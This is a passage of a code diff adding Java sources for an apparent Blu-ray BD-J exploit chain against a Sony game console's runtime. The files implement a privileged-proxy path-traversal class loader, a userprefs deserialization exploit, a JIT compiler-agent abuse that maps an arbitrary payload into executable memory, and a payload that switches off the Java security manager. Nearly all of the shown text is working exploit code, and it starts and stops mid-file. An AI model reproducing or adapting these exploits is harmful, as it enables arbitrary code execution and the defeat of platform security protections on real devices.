long sceKernelDlsym = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, "sceKernelDlsym"); |
||||
long payload = jit.mapPayload("/OS/HDD/download0/mnt_ada/payload.bin"); |
||||
int ret = (int) api.call(payload, sceKernelDlsym); |
||||
Screen.println("[+] Result: " + Integer.toHexString(ret)); |
||||
} catch (Exception e) { |
||||
Screen.println("[-] Error: " + e.getCause()); |
||||
} |
||||
} |
||||
} |
@ -0,0 +1,12 @@
@@ -0,0 +1,12 @@
|
||||
/* |
||||
* Copyright (C) 2021 Andy Nguyen |
||||
* |
||||
* This software may be modified and distributed under the terms |
||||
* of the MIT license. See the LICENSE file for details. |
||||
*/ |
||||
|
||||
package com.bdjb; |
||||
|
||||
interface ExploitInterface { |
||||
public void trigger() throws Exception; |
||||
} |
@ -0,0 +1,60 @@
@@ -0,0 +1,60 @@
|
||||
/* |
||||
* Copyright (C) 2021 Andy Nguyen |
||||
* |
||||
* This software may be modified and distributed under the terms |
||||
* of the MIT license. See the LICENSE file for details. |
||||
*/ |
||||
|
||||
package com.bdjb; |
||||
|
||||
import java.io.FileOutputStream; |
||||
import java.io.InputStream; |
||||
import java.io.OutputStream; |
||||
import java.net.URL; |
||||
import java.net.URLClassLoader; |
||||
import java.security.Security; |
||||
import java.security.Provider; |
||||
|
||||
/** Implementation of the service+proxy exploit. */ |
||||
class ExploitServiceProxyImpl implements ExploitInterface { |
||||
private static final String SERVICE_CLASS_NAME = "com.oracle.security.Service"; |
||||
|
||||
private static final String NEW_INSTANCE_METHOD_NAME = "newInstance"; |
||||
private static final String NEW_INSTANCE_METHOD_SIGNATURE = |
||||
"(Ljava/lang/Object;)Ljava/lang/Object;"; |
||||
|
||||
private static final String JAR_URL = |
||||
"file:///app0/bdjstack/lib/ext/../../../../disc/BDMV/JAR/00000.jar"; |
||||
|
||||
private static final String PAYLOAD_CLASS_NAME = "com.bdjb.Payload"; |
||||
|
||||
public void trigger() throws Exception { |
||||
// Throw exception if class does not exist.
|
||||
Class.forName(SERVICE_CLASS_NAME); |
||||
|
||||
IxcProxyImpl proxy = IxcProxyImpl.getInstance(); |
||||
|
||||
// Prepare service object with the class to be instantiated.
|
||||
Provider[] providers = Security.getProviders(); |
||||
ServiceImpl service = |
||||
new ServiceImpl( |
||||
providers[0], "exploit", "exploit", URLClassLoader.class.getName(), null, null); |
||||
ProviderAccessorImpl providerAccessor = new ProviderAccessorImpl(providers); |
||||
providerAccessor.putService(providers[0], service); |
||||
providerAccessor.setProviderAccessor(); |
||||
|
||||
// Instantiate the URLClassLoader class with privileges and a vulnerable path.
|
||||
URL[] urls = new URL[] {new URL(JAR_URL)}; |
||||
URLClassLoader urlClassLoader = |
||||
(URLClassLoader) |
||||
proxy.invokeMethod( |
||||
service, |
||||
NEW_INSTANCE_METHOD_NAME, |
||||
NEW_INSTANCE_METHOD_SIGNATURE, |
||||
new Object[] {urls}); |
||||
|
||||
// Instantiate the payload class with all permissions to disable the security manager.
|
||||
Class payloadClass = urlClassLoader.loadClass(PAYLOAD_CLASS_NAME); |
||||
payloadClass.newInstance(); |
||||
} |
||||
} |
@ -0,0 +1,56 @@
@@ -0,0 +1,56 @@
|
||||
/* |
||||
* Copyright (C) 2021 Andy Nguyen |
||||
* |
||||
* This software may be modified and distributed under the terms |
||||
* of the MIT license. See the LICENSE file for details. |
||||
*/ |
||||
|
||||
package com.bdjb; |
||||
|
||||
import java.io.InputStream; |
||||
import java.io.ObjectOutputStream; |
||||
import java.io.OutputStream; |
||||
import java.io.FileOutputStream; |
||||
import org.havi.ui.HSceneFactory; |
||||
|
||||
/** Implementation of the userprefs deserialization exploit. */ |
||||
class ExploitUserPrefsImpl implements ExploitInterface { |
||||
private static final String MNT_ADA_USERPREFS = "/OS/HDD/download0/mnt_ada/userprefs"; |
||||
|
||||
private static final String PAYLOAD_CLASS_LOADER_SER = "/com/bdjb/PayloadClassLoader.ser"; |
||||
|
||||
public void trigger() throws Exception { |
||||
try { |
||||
// Overwrite userprefs with a serialized PayloadClassLoader.
|
||||
InputStream inputStream = getClass().getResourceAsStream(PAYLOAD_CLASS_LOADER_SER); |
||||
OutputStream outputStream = new FileOutputStream(MNT_ADA_USERPREFS); |
||||
|
||||
byte[] buf = new byte[8192]; |
||||
int read; |
||||
while ((read = inputStream.read(buf)) > 0) { |
||||
outputStream.write(buf, 0, read); |
||||
} |
||||
|
||||
outputStream.close(); |
||||
inputStream.close(); |
||||
|
||||
// Trigger deserialization vulnerability.
|
||||
try { |
||||
HSceneFactory.getInstance().getDefaultHScene(); |
||||
} catch (ClassCastException e) { |
||||
// Exception expected.
|
||||
|
||||
// Instantiate the payload class.
|
||||
PayloadClassLoader.getInstance().newPayload(); |
||||
} |
||||
} finally { |
||||
// Restore userprefs file.
|
||||
String[][] preferences = new String[9][]; |
||||
preferences[3] = new String[] {"26"}; |
||||
ObjectOutputStream outputStream = |
||||
new ObjectOutputStream(new FileOutputStream(MNT_ADA_USERPREFS)); |
||||
outputStream.writeObject(preferences); |
||||
outputStream.close(); |
||||
} |
||||
} |
||||
} |
@ -0,0 +1,45 @@
@@ -0,0 +1,45 @@
|
||||
/* |
||||
* Copyright (C) 2021 Andy Nguyen |
||||
* |
||||
* This software may be modified and distributed under the terms |
||||
* of the MIT license. See the LICENSE file for details. |
||||
*/ |
||||
|
||||
package com.bdjb; |
||||
|
||||
import java.awt.BorderLayout; |
||||
import javax.tv.xlet.Xlet; |
||||
import javax.tv.xlet.XletContext; |
||||
import org.havi.ui.HScene; |
||||
import org.havi.ui.HSceneFactory; |
||||
|
||||
public class ExploitXlet implements Xlet { |
||||
private HScene scene; |
||||
private Screen screen; |
||||
|
||||
public void initXlet(XletContext context) { |
||||
Exploit.init(); |
||||
|
||||
screen = Screen.getInstance(); |
||||
screen.setSize(1920, 1080); // BD screen size
|
||||
|
||||
scene = HSceneFactory.getInstance().getDefaultHScene(); |
||||
scene.add(screen, BorderLayout.CENTER); |
||||
scene.validate(); |
||||
} |
||||
|
||||
public void startXlet() { |
||||
screen.setVisible(true); |
||||
scene.setVisible(true); |
||||
Exploit.start(); |
||||
} |
||||
|
||||
public void pauseXlet() { |
||||
screen.setVisible(false); |
||||
} |
||||
|
||||
public void destroyXlet(boolean unconditional) { |
||||
scene.remove(screen); |
||||
scene = null; |
||||
} |
||||
} |
@ -0,0 +1,50 @@
@@ -0,0 +1,50 @@
|
||||
/* |
||||
* Copyright (C) 2021 Andy Nguyen |
||||
* |
||||
* This software may be modified and distributed under the terms |
||||
* of the MIT license. See the LICENSE file for details. |
||||
*/ |
||||
|
||||
package com.bdjb; |
||||
|
||||
import com.sony.gemstack.core.CoreAppContext; |
||||
import com.sony.gemstack.core.CoreIxcClassLoader; |
||||
import com.sony.gemstack.org.dvb.io.ixc.IxcProxy; |
||||
import java.rmi.RemoteException; |
||||
|
||||
/** IxcProxy implementation that allows certain public methods to be invoked with privileges. */ |
||||
class IxcProxyImpl extends IxcProxy { |
||||
private static IxcProxyImpl instance; |
||||
|
||||
private Object remote; |
||||
|
||||
private IxcProxyImpl(CoreIxcClassLoader localClassLoader, CoreIxcClassLoader remoteClassLoader) { |
||||
super(localClassLoader, remoteClassLoader); |
||||
} |
||||
|
||||
static synchronized IxcProxyImpl getInstance() { |
||||
if (instance == null) { |
||||
CoreIxcClassLoader coreIxcClassLoader = CoreAppContext.getContext().getIxcClassLoader(); |
||||
instance = new IxcProxyImpl(coreIxcClassLoader, coreIxcClassLoader); |
||||
} |
||||
return instance; |
||||
} |
||||
|
||||
public Object getRemote() { |
||||
return remote; |
||||
} |
||||
|
||||
public void forgetRemote() {} |
||||
|
||||
/** Override to avoid serializing the return object. */ |
||||
protected Object replaceObject(Object obj, CoreIxcClassLoader coreIxcClassLoader) |
||||
throws RemoteException { |
||||
return obj; |
||||
} |
||||
|
||||
public Object invokeMethod(Object obj, String name, String signature, Object[] args) |
||||
throws Exception { |
||||
this.remote = obj; |
||||
return super.invokeMethod(args, name, signature); |
||||
} |
||||
} |
@ -0,0 +1,160 @@
@@ -0,0 +1,160 @@
|
||||
/* |
||||
* Copyright (C) 2021 Andy Nguyen |
||||
* |
||||
* This software may be modified and distributed under the terms |
||||
* of the MIT license. See the LICENSE file for details. |
||||
*/ |
||||
|
||||
package com.bdjb; |
||||
|
||||
import java.io.RandomAccessFile; |
||||
|
||||
/** |
||||
* JIT class that exploits a vulnerability in the runtime-compiler protocol to map payloads to |
||||
* executable memory. |
||||
*/ |
||||
final class JIT { |
||||
static final int BDJ_MODULE_HANDLE = 0; |
||||
|
||||
static final int MAX_JIT_SIZE = 24 * 1024 * 1024; // Actually max is 30MB, but let's be safe.
|
||||
static final int PAGE_SIZE = 0x4000; |
||||
static final int ALIGNMENT = 0x100000; |
||||
|
||||
private static final int CHUNK_SIZE = 0x30; |
||||
|
||||
private static final int SCE_KERNEL_MODULE_INFO_SIZE = 0x160; |
||||
|
||||
private static final int COMPILER_AGENT_REQUEST_SIZE = 0x58; |
||||
|
||||
private static final byte ACK_MAGIC_NUMBER = (byte) 0xAA; |
||||
|
||||
private static final byte[] BUFFER_BLOB_CREATE_SEQ = { |
||||
(byte) 0x89, (byte) 0xF8, (byte) 0x49, (byte) 0x8B, (byte) 0x0F |
||||
}; |
||||
|
||||
private static final byte[] COMPILER_AGENT_SENDER_THREAD_SEQ = { |
||||
(byte) 0x4C, (byte) 0x8B, (byte) 0x70, (byte) 0x08, (byte) 0x41 |
||||
}; |
||||
|
||||
private static final String SCE_KERNEL_GET_MODULE_INFO_SYMBOL = "sceKernelGetModuleInfo"; |
||||
private static final String WRITE_SYMBOL = "write"; |
||||
private static final String READ_SYMBOL = "read"; |
||||
|
||||
private static JIT instance; |
||||
|
||||
private final API api; |
||||
|
||||
private long sceKernelGetModuleInfo; |
||||
private long read; |
||||
private long write; |
||||
private long BufferBlob__create; |
||||
|
||||
private int compilerAgentSocket; |
||||
|
||||
private JIT() throws Exception { |
||||
this.api = API.getInstance(); |
||||
this.init(); |
||||
} |
||||
|
||||
static synchronized JIT getInstance() throws Exception { |
||||
if (instance == null) { |
||||
instance = new JIT(); |
||||
} |
||||
return instance; |
||||
} |
||||
|
||||
private void init() { |
||||
sceKernelGetModuleInfo = |
||||
api.dlsym(API.LIBKERNEL_MODULE_HANDLE, SCE_KERNEL_GET_MODULE_INFO_SYMBOL); |
||||
read = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, READ_SYMBOL); |
||||
write = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, WRITE_SYMBOL); |
||||
|
||||
if (sceKernelGetModuleInfo == 0 || read == 0 || write == 0) { |
||||
throw new IllegalStateException("Symbols could not be found."); |
||||
} |
||||
|
||||
long modinfo = api.malloc(SCE_KERNEL_MODULE_INFO_SIZE); |
||||
api.memset(modinfo, 0, SCE_KERNEL_MODULE_INFO_SIZE); |
||||
api.write64(modinfo + 0x00, SCE_KERNEL_MODULE_INFO_SIZE); |
||||
if (api.call(sceKernelGetModuleInfo, BDJ_MODULE_HANDLE, modinfo) != 0) { |
||||
throw new IllegalStateException("sceKernelGetModuleInfo failed."); |
||||
} |
||||
|
||||
long bdjBase = api.read64(modinfo + 0x108); |
||||
long bdjSize = api.read32(modinfo + 0x110); |
||||
|
||||
api.free(modinfo); |
||||
|
||||
int i = 0; |
||||
while (i < bdjSize |
||||
&& api.memcmp(bdjBase + i, BUFFER_BLOB_CREATE_SEQ, BUFFER_BLOB_CREATE_SEQ.length) != 0) { |
||||
i++; |
||||
} |
||||
if (i == bdjSize) { |
||||
throw new IllegalStateException("BufferBlob::create function could not be found."); |
||||
} |
||||
BufferBlob__create = bdjBase + i - 0x21; |
||||
|
||||
i = 0; |
||||
while (i < bdjSize |
||||
&& api.memcmp( |
||||
bdjBase + i, |
||||
COMPILER_AGENT_SENDER_THREAD_SEQ, |
||||
COMPILER_AGENT_SENDER_THREAD_SEQ.length) |
||||
!= 0) { |
||||
i++; |
||||
} |
||||
if (i == bdjSize) { |
||||
throw new IllegalStateException("Compiler agent socket could not be found."); |
||||
} |
||||
long compilerAgentSocketOpcode = bdjBase + i - 0x10; |
||||
compilerAgentSocket = |
||||
api.read32(compilerAgentSocketOpcode + api.read32(compilerAgentSocketOpcode + 0x3) + 0x7); |
||||
} |
||||
|
||||
long mapPayload(String path) throws Exception { |
||||
RandomAccessFile file = new RandomAccessFile(path, "r"); |
||||
|
||||
// TODO: Currently we just use maximum size so that the address is predictable.
|
||||
long size = MAX_JIT_SIZE; |
||||
// long size = file.length() + 0x88 + ALIGNMENT - 1;
|
||||
// if (size >= MAX_JIT_SIZE) {
|
||||
// throw new IllegalArgumentException("Payload is too big.");
|
||||
// }
|
||||
|
||||
long name = api.malloc(4); |
||||
api.strcpy(name, "jit"); |
||||
long blob = api.call(BufferBlob__create, name, size); |
||||
long code = blob + api.read32(blob + 0x20); |
||||
api.free(name); |
||||
|
||||
long address = (code + ALIGNMENT - 1) & ~(ALIGNMENT - 1); |
||||
|
||||
long request = api.malloc(COMPILER_AGENT_REQUEST_SIZE); |
||||
long response = api.malloc(API.INT8_SIZE); |
||||
|
||||
for (long i = 0; i < file.length(); i += CHUNK_SIZE) { |
||||
byte[] chunk = new byte[CHUNK_SIZE]; |
||||
|
||||
file.seek(i); |
||||
file.read(chunk, 0, (int) Math.min(file.length() - i, CHUNK_SIZE)); |
||||
|
||||
api.memset(request, 0, COMPILER_AGENT_REQUEST_SIZE); |
||||
api.memcpy(request + 0x00, chunk, CHUNK_SIZE); |
||||
api.write64(request + 0x38, address + i - 0x28); |
||||
api.call(write, compilerAgentSocket, request, COMPILER_AGENT_REQUEST_SIZE); |
||||
|
||||
api.write8(response, (byte) 0); |
||||
api.call(read, compilerAgentSocket, response, API.INT8_SIZE); |
||||
|
||||
if (api.read8(response) != ACK_MAGIC_NUMBER) { |
||||
throw new IllegalStateException("Wrong compiler response."); |
||||
} |
||||
} |
||||
|
||||
api.free(response); |
||||
api.free(request); |
||||
|
||||
return address; |
||||
} |
||||
} |
@ -0,0 +1,24 @@
@@ -0,0 +1,24 @@
|
||||
/* |
||||
* Copyright (C) 2021 Andy Nguyen |
||||
* |
||||
* This software may be modified and distributed under the terms |
||||
* of the MIT license. See the LICENSE file for details. |
||||
*/ |
||||
|
||||
package com.bdjb; |
||||
|
||||
import java.security.AccessController; |
||||
import java.security.PrivilegedActionException; |
||||
import java.security.PrivilegedExceptionAction; |
||||
|
||||
/** Payload class that is loaded with all permissions in order to disable the security manager. */ |
||||
public class Payload implements PrivilegedExceptionAction { |
||||
public Payload() throws PrivilegedActionException { |
||||
AccessController.doPrivileged(this); |
||||
} |
||||
|
||||
public Object run() throws Exception { |
||||
System.setSecurityManager(null); |
||||
return null; |
||||
} |
||||
} |
@ -0,0 +1,58 @@
@@ -0,0 +1,58 @@
|
||||
/* |
||||
* Copyright (C) 2021 Andy Nguyen |
||||
* |
||||
* This software may be modified and distributed under the terms |
||||
* of the MIT license. See the LICENSE file for details. |
||||
*/ |
||||
|
||||
package com.bdjb; |
||||
|
||||
import java.io.Serializable; |
||||
import java.io.ByteArrayOutputStream; |
||||
import java.io.ObjectOutputStream; |
||||
import java.io.ObjectInputStream; |
||||
import java.io.InputStream; |
||||
import java.security.ProtectionDomain; |
||||
import java.security.Permissions; |
||||
import java.security.AllPermission; |
||||
|
||||
/** ClassLoader subclass that is instantiated on deserialization. */ |
||||
class PayloadClassLoader extends ClassLoader implements Serializable { |
||||
private static final long serialVersionUID = 0x4141414141414141L; |
||||
|
||||
private static final String PAYLOAD_CLASS_FILE = "/com/bdjb/Payload.class"; |
||||
private static final String PAYLOAD_CLASS_NAME = "com.bdjb.Payload"; |
||||
|
||||
private static PayloadClassLoader instance; |
||||
|
||||
static PayloadClassLoader getInstance() { |
||||
return instance; |
||||
} |
||||
|
||||
private void readObject(ObjectInputStream stream) { |
||||
instance = this; |
||||
} |
||||
|
||||
void newPayload() throws Exception { |
||||
InputStream inputStream = getClass().getResourceAsStream(PAYLOAD_CLASS_FILE); |
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); |
||||
|
||||
byte[] buf = new byte[8192]; |
||||
int read; |
||||
while ((read = inputStream.read(buf)) > 0) { |
||||
outputStream.write(buf, 0, read); |
||||
} |
||||
|
||||
inputStream.close(); |
||||
|
||||
byte[] payload = outputStream.toByteArray(); |
||||
|
||||
// Instantiate the payload class with all permissions to disable the security manager.
|
||||
Permissions permissions = new Permissions(); |
||||
permissions.add(new AllPermission()); |
||||
ProtectionDomain protectionDomain = new ProtectionDomain(null, permissions); |
||||
Class payloadClass = |
||||
defineClass(PAYLOAD_CLASS_NAME, payload, 0, payload.length, protectionDomain); |
||||
payloadClass.newInstance(); |
||||
} |
||||
} |
@ -0,0 +1,27 @@
@@ -0,0 +1,27 @@
|
||||
/* |
||||
* Copyright (C) 2021 Andy Nguyen |
||||
* |
||||
* This software may be modified and distributed under the terms |
||||
* of the MIT license. See the LICENSE file for details. |
||||
*/ |
||||
|
||||
package com.bdjb; |
||||
|
||||
import java.io.FileInputStream; |
||||
import java.io.FileOutputStream; |
||||
import java.io.ObjectInputStream; |
||||
import java.io.ObjectOutputStream; |
||||
|
||||
/** Simple util to create a serialized object of the PayloadClassLoader class. */ |
||||
class PayloadClassLoaderSerializer { |
||||
public static void main(String[] args) { |
||||
try { |
||||
ObjectOutputStream objectOutputStream = |
||||
new ObjectOutputStream(new FileOutputStream("com/bdjb/PayloadClassLoader.ser")); |
||||
objectOutputStream.writeObject(new PayloadClassLoader()); |
||||
objectOutputStream.close(); |
||||
} catch (Exception e) { |
||||
e.printStackTrace(); |
||||
} |
||||
} |
||||
} |
@ -0,0 +1,65 @@
@@ -0,0 +1,65 @@
|
||||
/* |
||||
* Copyright (C) 2021 Andy Nguyen |
||||
* |
||||
* This software may be modified and distributed under the terms |
||||
* of the MIT license. See the LICENSE file for details. |
||||
*/ |
||||
|
||||
package com.bdjb; |
||||
|
||||
import com.oracle.ProviderAccessor; |
||||
import com.oracle.ProviderAdapter; |
||||
import com.oracle.security.Service; |
||||
import java.util.Arrays; |
||||
import java.util.HashMap; |
||||
import java.util.HashSet; |
||||
import java.util.Iterator; |
||||
import java.util.Set; |
||||
import java.security.Provider; |
||||
import java.security.Security; |
||||
|
||||
/** ProviderAccessor implementation that allows arbitrary services to be added. */ |
||||
class ProviderAccessorImpl implements ProviderAccessor { |
||||
private final HashMap providerServices = new HashMap(); |
||||
|
||||
ProviderAccessorImpl(Provider[] providers) { |
||||
this.copyProviderServices(providers); |
||||
} |
||||
|
||||
private void copyProviderServices(Provider[] providers) { |
||||
for (int i = 0; i < providers.length; i++) { |
||||
providerServices.put(providers[i], new HashSet(ProviderAdapter.getServices(providers[i]))); |
||||
} |
||||
} |
||||
|
||||
void setProviderAccessor() { |
||||
ProviderAdapter.setProviderAccessor(this); |
||||
} |
||||
|
||||
public Service getService(Provider provider, String type, String algorithm) { |
||||
Set services = getServices(provider); |
||||
if (services != null) { |
||||
Iterator iterator = services.iterator(); |
||||
while (iterator.hasNext()) { |
||||
Service service = (Service) iterator.next(); |
||||
if (service.getType().equals(type) |
||||
&& (service.getAlgorithm().equals(algorithm) |
||||